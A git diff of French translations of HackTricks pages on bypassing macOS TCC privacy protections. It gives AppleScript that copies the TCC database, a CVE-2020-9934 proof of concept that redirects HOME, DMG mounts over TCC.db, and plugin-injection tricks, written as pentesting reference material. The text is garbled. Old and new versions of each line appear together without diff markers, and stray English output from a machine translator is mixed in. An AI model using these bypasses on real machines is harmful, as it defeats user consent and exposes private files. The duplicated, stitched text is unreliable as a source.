Cependant, pour que les applications **accèdent** à **certains dossiers utilisateur**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **droits spécifiques**. Le système gérera de manière transparente l'accès et **sollicitera l'utilisateur** au besoin.
Cependant, pour que les applications **accèdent** à **certains dossiers utilisateur**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **droits spécifiques**. Le système gérera l'accès de manière transparente et **sollicitera l'utilisateur** si nécessaire.
Les applications d'Apple **ne généreront pas de demandes**. Elles contiennent des **droits pré-accordés** dans leur liste de **droits**, ce qui signifie qu'elles ne **généreront jamais de popup**, **ni** n'apparaîtront dans aucune des bases de données **TCC**. Par exemple :
Les applications d'Apple **ne généreront pas de demandes**. Elles contiennent des **droits pré-accordés** dans leur liste de **droits**, ce qui signifie qu'elles **ne généreront jamais de popup**, **ni** n'apparaîtront dans aucune des bases de données **TCC**. Par exemple :
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -250,7 +252,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
Cela évitera à l'application Calendrier de demander à l'utilisateur l'accès aux rappels, au calendrier et au carnet d'adresses.
{% hint style="success" %}
En plus de certaines documentations officielles sur les droits, il est également possible de trouver des **informations intéressantes non officielles sur les droits dans** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
En plus de certaines documentations officielles sur les droits, il est également possible de trouver des **informations intéressantes non officielles sur les droits sur** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
{% endhint %}
Certaines permissions TCC sont : kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Il n'existe pas de liste publique qui les définit toutes, mais vous pouvez consulter cette [**liste des connues**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
@ -286,7 +288,7 @@ Notez également que si vous déplacez un fichier qui autorise l'UUID d'une appl
L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme les autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans cet article**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en le **supprimant** et en le **décompressant**.
## TCC Privesc & Contournements
## Élévation de privilèges TCC & Contournements
### Insérer dans TCC
@ -349,11 +351,11 @@ Si vous avez réussi à pénétrer dans une application avec certaines permissio
Le nom TCC de la permission d'Automatisation est : **`kTCCServiceAppleEvents`**\
Cette permission TCC spécifique indique également **l'application qui peut être gérée** dans la base de données TCC (donc les permissions ne permettent pas de tout gérer).
**Finder** est une application qui **a toujours FDA** (même si cela n'apparaît pas dans l'UI), donc si vous avez des privilèges **Automatisation** sur celle-ci, vous pouvez abuser de ses privilèges pour **la faire exécuter certaines actions**.\
**Finder** est une application qui **a toujours FDA** (même si cela n'apparaît pas dans l'UI), donc si vous avez des privilèges d'**Automatisation** dessus, vous pouvez abuser de ses privilèges pour **la faire exécuter certaines actions**.\
Dans ce cas, votre application aurait besoin de la permission **`kTCCServiceAppleEvents`** sur **`com.apple.Finder`**.
{% tabs %}
{% tab title="Vol de la base de données TCC.db des utilisateurs" %}
{% tab title="Vol de la TCC.db des utilisateurs" %}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
@ -383,12 +385,12 @@ EOD
Vous pourriez en abuser pour **écrire votre propre base de données TCC utilisateur**.
{% hint style="warning" %}
Avec cette permission, vous pourrez **demander à Finder d'accéder aux dossiers restreints par TCC** et de vous donner les fichiers, mais autant que je sache, vous **ne pourrez pas faire exécuter du code arbitraire par Finder** pour abuser pleinement de son accès FDA.
Avec cette permission, vous pourrez **demander à Finder d'accéder aux dossiers restreints par TCC** et de vous donner les fichiers, mais afaik vous **ne pourrez pas faire exécuter du code arbitraire à Finder** pour abuser pleinement de son accès FDA.
Par conséquent, vous ne pourrez pas abuser des pleines capacités FDA.
Par conséquent, vous ne pourrez pas abuser pleinement des capacités FDA.
{% endhint %}
Ceci est l'invite TCC pour obtenir des privilèges d'automatisation sur Finder :
Voici l'invite TCC pour obtenir des privilèges d'automatisation sur Finder :
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
@ -420,7 +422,7 @@ EOD
```
</details>
La même chose se produit avec **l'application Script Editor,** elle peut contrôler Finder, mais en utilisant un AppleScript, vous ne pouvez pas le forcer à exécuter un script.
Il en va de même avec **l'application Script Editor,** elle peut contrôler Finder, mais en utilisant un AppleScript, vous ne pouvez pas le forcer à exécuter un script.
### Automatisation (SE) vers certains TCC
@ -524,28 +526,28 @@ Consultez cette page pour découvrir certains [**payloads pour abuser des permis
Si vous avez **`kTCCServiceEndpointSecurityClient`**, vous avez FDA. Fin.
### Politique Système SysAdmin Fichier vers FDA
### Politique Système Fichier Admin Système vers FDA
**`kTCCServiceSystemPolicySysAdminFiles`** permet de **changer** l'attribut **`NFSHomeDirectory`** d'un utilisateur qui modifie son dossier personnel et permet donc de **contourner TCC**.
### Base de Données TCC Utilisateur vers FDA
Obtenir des **permissions d'écriture** sur la base de données TCC de l'**utilisateur** ne vous permet **pas** de vous accorder les permissions **`FDA`**, seule celle qui réside dans la base de données système peut accorder cela.
Obtenir des **permissions d'écriture** sur la base de données TCC de l'**utilisateur** ne vous permet **pas** de vous octroyer les permissions **`FDA`**, seules celles qui résident dans la base de données système peuvent le faire.
Mais vous pouvez vous donner les **droits d'`Automation au Finder`**, et abuser de la technique précédente pour escalader vers FDA\*.
Mais vous pouvez vous donner les **droits d'`Automation au Finder`**, et abuser de la technique précédente pour élever les privilèges vers FDA\*.
### **FDA vers permissions TCC**
**L'Accès Complet au Disque** est nommé dans TCC **`kTCCServiceSystemPolicyAllFiles`**
**L'Accès Complet au Disque** dans le nom TCC est **`kTCCServiceSystemPolicyAllFiles`**
Je ne pense pas que cela soit une véritable élévation de privilèges, mais au cas où vous trouveriez cela utile : Si vous contrôlez un programme avec FDA, vous pouvez **modifier la base de données TCC des utilisateurs et vous accorder n'importe quel accès**. Cela peut être utile comme technique de persistance au cas où vous perdriez vos permissions FDA.
Je ne pense pas que ce soit une véritable élévation de privilèges, mais au cas où vous trouveriez cela utile : Si vous contrôlez un programme avec FDA, vous pouvez **modifier la base de données TCC des utilisateurs et vous octroyer n'importe quel accès**. Cela peut être utile comme technique de persistance au cas où vous perdriez vos permissions FDA.
### **Contournement de SIP vers Contournement de TCC**
La base de données TCC du système est protégée par **SIP**, c'est pourquoi seuls les processus avec les **entitlements indiqués vont pouvoir la modifier**. Par conséquent, si un attaquant trouve un **contournement de SIP** sur un **fichier** (être capable de modifier un fichier restreint par SIP), il pourra :
La base de données **TCC du système** est protégée par **SIP**, c'est pourquoi seuls les processus avec les **entitlements indiqués vont pouvoir la modifier**. Par conséquent, si un attaquant trouve un **contournement de SIP** sur un **fichier** (être capable de modifier un fichier restreint par SIP), il pourra :
* **Retirer la protection** d'une base de données TCC, et s'accorder toutes les permissions TCC. Il pourrait abuser de l'un de ces fichiers par exemple :
* La base de données systèmes TCC
* **Retirer la protection** d'une base de données TCC, et s'octroyer toutes les permissions TCC. Il pourrait abuser de l'un de ces fichiers par exemple :
* La base de données système TCC
* REG.db
* MDMOverrides.plist
@ -595,12 +597,14 @@ AllowApplicationsList.plist :
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,13 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -34,12 +36,12 @@ Par défaut, un accès via **SSH avait "Accès complet au disque"**. Pour désac
![](<../../../../../.gitbook/assets/image (569).png>)
Ici, vous pouvez trouver des exemples de la manière dont certains **malwares ont réussi à contourner cette protection** :
Voici des exemples de la manière dont certains **malwares ont réussi à contourner cette protection** :
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
{% hint style="danger" %}
Notez que maintenant, pour pouvoir activer SSH, vous avez besoin d'**Accès complet au disque**
Notez que maintenant, pour pouvoir activer SSH, vous avez besoin de **Accès complet au disque**
{% endhint %}
### Gestion des extensions - CVE-2022-26767
@ -58,7 +60,7 @@ Pour plus d'**informations** sur l'exploitation pour **obtenir des jetons iCloud
### kTCCServiceAppleEvents / Automatisation
Une application avec la permission **`kTCCServiceAppleEvents`** pourra **contrôler d'autres applications**. Cela signifie qu'elle pourrait **abuser des permissions accordées aux autres applications**.
Une application avec la permission **`kTCCServiceAppleEvents`** pourra **contrôler d'autres applications**. Cela signifie qu'elle pourrait être capable d'**abuser des permissions accordées aux autres applications**.
Pour plus d'infos sur les scripts Apple, consultez :
@ -66,7 +68,7 @@ Pour plus d'infos sur les scripts Apple, consultez :
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
Par exemple, si une application a la permission **d'Automatisation sur `iTerm`**, par exemple dans cet exemple **`Terminal`** a accès à iTerm :
Par exemple, si une application a la permission d'**Automatisation sur `iTerm`**, par exemple dans cet exemple **`Terminal`** a accès à iTerm :
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
@ -86,7 +88,7 @@ write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
```
Since the provided text does not contain any actual content to translate, but only a markdown end code block tag, there is nothing to translate. If you provide the relevant English text, I can then translate it into French for you.
Since the provided text does not contain any actual content to translate, but only a markdown end code block tag, there is nothing to translate. If you provide the relevant English text that needs to be translated into French, I can assist with that. Please provide the content for translation.
```bash
osascript iterm.script
```
@ -106,10 +108,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
Le **daemon userland tccd** utilisait la variable d'environnement **`HOME`** pour accéder à la base de données des utilisateurs TCC depuis : **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Le **démon userland tccd** utilisait la variable d'environnement **`HOME`** pour accéder à la base de données des utilisateurs TCC depuis : **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Selon [ce post de Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le daemon TCC fonctionne via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont passées.\
Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour la faire pointer vers un **répertoire contrôlé**, **redémarrer** le daemon **TCC**, puis **modifier directement la base de données TCC** pour s'octroyer **tous les droits TCC disponibles** sans jamais demander l'autorisation à l'utilisateur final.\
Selon [ce post sur Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le démon TCC fonctionne via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont transmises.\
Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour la faire pointer vers un **répertoire contrôlé**, **redémarrer** le démon **TCC**, puis **modifier directement la base de données TCC** pour s'octroyer **tous les droits TCC disponibles** sans jamais demander l'autorisation à l'utilisateur final.\
PoC :
```bash
# reset database just in case (no cheating!)
@ -141,7 +143,7 @@ $> ls ~/Documents
Notes avait accès aux emplacements protégés par TCC, mais lorsqu'une note est créée, elle est **créée dans un emplacement non protégé**. Ainsi, vous pouviez demander à Notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
<figure><img src="../../../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-30782 - Translocation
@ -161,7 +163,7 @@ Ce comportement **`rename(a, b);`** est vulnérable à une **Condition de Course
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Si **`SQLITE_SQLLOG_DIR="path/folder"`** signifie essentiellement que **toute base de données ouverte est copiée dans ce chemin**. Dans ce CVE, ce contrôle a été abusé pour **écrire** dans une **base de données SQLite** qui va être **ouverte par un processus avec FDA la base de données TCC**, et ensuite abuser de **`SQLITE_SQLLOG_DIR`** avec un **lien symbolique dans le nom de fichier** de sorte que lorsque cette base de données est **ouverte**, la base de données TCC de l'utilisateur est **écrasée** par celle ouverte.\
**Plus d'infos** [**dans le compte-rendu**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **et**[ **dans la conférence**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
**Plus d'infos** [**dans le compte-rendu**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **et**[ **dans la présentation**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
### **SQLITE_AUTO_TRACE**
@ -192,7 +194,7 @@ Donc, en gros, si un processus privilégié renomme à partir d'un dossier que v
Si le rename accède à un dossier que vous contrôlez, pendant que vous avez modifié le fichier source ou avez un FD dessus, vous changez le fichier de destination (ou dossier) pour pointer un lien symbolique, afin que vous puissiez écrire quand vous le souhaitez.
{% endhint %}
C'était l'attaque dans le CVE : Par exemple, pour écraser la base de données `TCC.db` de l'utilisateur, nous pouvons :
C'était l'attaque dans le CVE : Par exemple, pour écraser le `TCC.db` de l'utilisateur, nous pouvons :
* créer `/Users/hacker/ourlink` pour pointer vers `/Users/hacker/Library/Application Support/com.apple.TCC/`
* créer le répertoire `/Users/hacker/tmp/`
@ -254,13 +256,13 @@ Il existe différentes techniques pour injecter du code dans un processus et abu
{% endcontent-ref %}
De plus, l'injection de processus la plus courante pour contourner TCC trouvée est via **plugins (chargement de bibliothèque)**.\
Les plugins sont du code supplémentaire généralement sous forme de bibliothèques ou plist, qui seront **chargés par l'application principale** et s'exécuteront dans son contexte. Par conséquent, si l'application principale avait accès à des fichiers restreints par TCC (via des permissions ou des droits accordés), le **code personnalisé en aura également**.
Les plugins sont du code supplémentaire généralement sous forme de bibliothèques ou de plist, qui seront **chargés par l'application principale** et s'exécuteront dans son contexte. Par conséquent, si l'application principale avait accès à des fichiers restreints par TCC (via des permissions ou des droits accordés), le **code personnalisé les aura également**.
### CVE-2020-27937 - Directory Utility
L'application `/System/Library/CoreServices/Applications/Directory Utility.app` avait le droit **`kTCCServiceSystemPolicySysAdminFiles`**, chargeait des plugins avec l'extension **`.daplug`** et **n'avait pas le** runtime renforcé.
Pour armer ce CVE, le **`NFSHomeDirectory`** est **modifié** (abusant du droit précédent) afin de pouvoir **prendre le contrôle de la base de données TCC des utilisateurs** pour contourner TCC.
Pour armer ce CVE, le **`NFSHomeDirectory`** est **changé** (abusant du droit précédent) afin de pouvoir **prendre le contrôle de la base de données TCC des utilisateurs** pour contourner TCC.
Pour plus d'infos, consultez le [**rapport original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
@ -333,11 +335,11 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
Pour plus d'informations sur comment exploiter cela facilement, [**consultez le rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
Pour plus d'informations sur la manière d'exploiter facilement ceci, [**consultez le rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
### CVE-2020-10006
Le binaire `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` avait les droits **`com.apple.private.tcc.allow`** et **`com.apple.security.get-task-allow`**, ce qui permettait d'injecter du code dans le processus et d'utiliser les privilèges TCC.
Le binaire `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` possédait les droits **`com.apple.private.tcc.allow`** et **`com.apple.security.get-task-allow`**, ce qui permettait d'injecter du code dans le processus et d'utiliser les privilèges TCC.
### CVE-2023-26818 - Telegram
@ -379,7 +381,7 @@ Il est possible d'invoquer **`open`** même en étant dans un bac à sable&#x20;
### Scripts Terminal
Il est assez courant d'accorder au terminal un **Accès complet au disque (FDA)**, du moins sur les ordinateurs utilisés par les techniciens. Et il est possible d'invoquer des scripts **`.terminal`** en l'utilisant.
Il est assez courant d'accorder au terminal un **Accès complet au disque (FDA)**, du moins sur les ordinateurs utilisés par les techniciens. Et il est possible d'invoquer des scripts **`.terminal`** avec celui-ci.
Les scripts **`.terminal`** sont des fichiers plist comme celui-ci avec la commande à exécuter dans la clé **`CommandString`** :
```xml
@ -414,8 +416,8 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - contournement de TCC et élévation de privilèges avec mount\_apfs
**N'importe quel utilisateur** (même non privilégié) peut créer et monter un instantané de Time Machine et **accéder à TOUS les fichiers** de cet instantané.\
Le **seul privilège nécessaire** est que l'application utilisée (comme `Terminal`) ait l'accès **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`) qui doit être accordé par un administrateur.
**N'importe quel utilisateur** (même non privilégié) peut créer et monter une sauvegarde instantanée de Time Machine et **accéder à TOUS les fichiers** de cette sauvegarde.\
Le **seul privilège** nécessaire est que l'application utilisée (comme `Terminal`) ait l'accès **Accès complet au disque** (FDA) (`kTCCServiceSystemPolicyAllfiles`) qui doit être accordé par un administrateur.
{% code overflow="wrap" %}
```bash
@ -443,7 +445,7 @@ Une explication plus détaillée est disponible dans [**le rapport original**](h
### CVE-2021-1784 & CVE-2021-30808 - Montage par-dessus le fichier TCC
Même si le fichier de base de données TCC est protégé, il était possible de **monter un nouveau fichier TCC.db par-dessus le répertoire** :
Même si le fichier de base de données TCC est protégé, il était possible de **monter un nouveau fichier TCC.db sur le répertoire** :
{% code overflow="wrap" %}
```bash
@ -455,7 +457,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
```
Since the provided text does not contain any actual content to translate, but only a closing markdown tag for a code block, there is nothing to translate. If you provide the relevant English text, I can then translate it into French for you.
Since the provided text does not contain any content to translate, I cannot provide a translation. If you provide the relevant English text, I will be able to translate it into French for you.
```python
# This was the python function to create the dmg
def create_dmg():
@ -477,7 +479,7 @@ L'outil **`/usr/sbin/asr`** permettait de copier l'intégralité du disque et de
Il existe une troisième base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**.\
Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage de DMG** donc il était possible de monter notre propre plist.
## Par applications au démarrage
## Par les applications de démarrage
{% content-ref url="../../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
@ -493,11 +495,11 @@ Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage de DM
Cela ne fonctionne plus, mais [**c'était le cas dans le passé**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
Une autre méthode utilisant [**les événements CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Référence
@ -508,12 +510,14 @@ Une autre méthode utilisant [**les événements CoreGraphics**](https://objecti
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,30 +1,32 @@
# Scripts Apple macOS
# Scripts Apple
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Scripts Apple
